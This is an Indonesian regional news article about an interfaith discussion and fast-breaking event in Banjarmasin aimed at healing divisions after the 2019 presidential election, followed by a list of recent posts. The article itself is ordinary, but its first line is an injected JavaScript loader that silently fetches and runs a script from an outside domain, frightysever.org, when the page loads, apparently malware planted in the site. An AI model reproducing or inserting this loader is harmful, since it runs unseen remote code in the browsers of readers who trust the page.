(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Diskusi dan Buka Puasa Antariman Guna Rajut Kembali Tali Persaudaran


BANJARMASIN, Lembaga Kajian Keislaman dan Kemasyarakatan (LK3) mengadakan diskusi dan Buka Puasa Antariman bertepat di Aula Paroki Hati Yesus yang Maha Kudus, jalan Veteran, Kamis (23/5) sore. Diskusi mengakat tema Rukun Itu Mantul, “Konsolidasi Bangsa Pasca Pemilu 2019.”

Menghadirkan dua narasumber, yaitu seorang akademisi Budhy Munawar-Rachman dan jurnalis, Budi Kurniawan. Ditemui usai kegiatan, Budhy mengatakan, acara ini sangat bagus untuk guna membangun kerukunan antarumat. Apalagi momen berbuka puasa di sebuah komunitas yang bukan Muslim menjadi sebuah tren yang khas di Indonesia.

Giat lintas agama ini, disampaikannya lebih lanjut, merupakan sebuah bentuk kegiatan antar iman yang ia rasa semakin menasional. Serta dengan adanya kegiatan seperti ini ia berharap kerukunan di masyarakat bisa tetap terjaga.

Apalagi mengingat pasca pengumuman hasil suara presiden lalu, menurutnya perlu dilakukan konsolidasi dari para pemuka agama untuk mendorong dan menyatukan kembali hubungan yang retak antar masyarakat. Namun tidak hanyak pemuka agama melainkan semua tokoh masyarakat termasuk politisi.

Budhy menekankan bahwa elite politik juga harus mengerti bahwa jika menggunakan momen yang sedang keruh saat ini untuk politik jangka pendek, tentu hal tersebut akan membawa perpacahan. “Dalam sejarah pilpres, baru kali ini salah satu kelompok menolak hasil sampai kemudian terjadi istilah people power. Dulu 2014 tidak, kalaupun ada pasti sudah selesai di MK,” ungkapnya.

Pastor Gereja Katedral Banjarmasin, Pastor Cosmas MSF yang juga turut berhadir berharap dari kegiatan ini adalah agar masyarakat yang terkotak-kotak saat musim pemilu lalu bisa merajut kembali hubungan kebangsaan dan persaudaraan.

“Kita tinggalkan 01 02 dan berbagai kelompok lainnya. Mari kita pertahankan sila yang ketiga, yakni persatuan Indonesia. Itu yang kita usahakan bersama. Kita berharap memang panggung-panggung kebersamaan seperti ini, sehingga kita saling bertemu dalam persaudaraan,” harapnya.

Hal-hal kecil seperti pertemuan inilah yang dirasa Pastor Cosmas sangat penting. Sehingga rasa persaudaraan antar sesama dan saling menghargai dalam kebhinekaan bisa tumbuh di dalam diri masing-masing serta tidak menimbulkan dampak fatal seperti kerusuhan di ibukota.

Sejauh ini Pastor Cosmas bersyukur bahwasnya di Banjarmasin sendiri hingga saat ini masih dalam situasi kondusif saling menghargai dan toleransi sangat dijunjung tinggi.(mario)

Reporter:Mario
Editor:Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.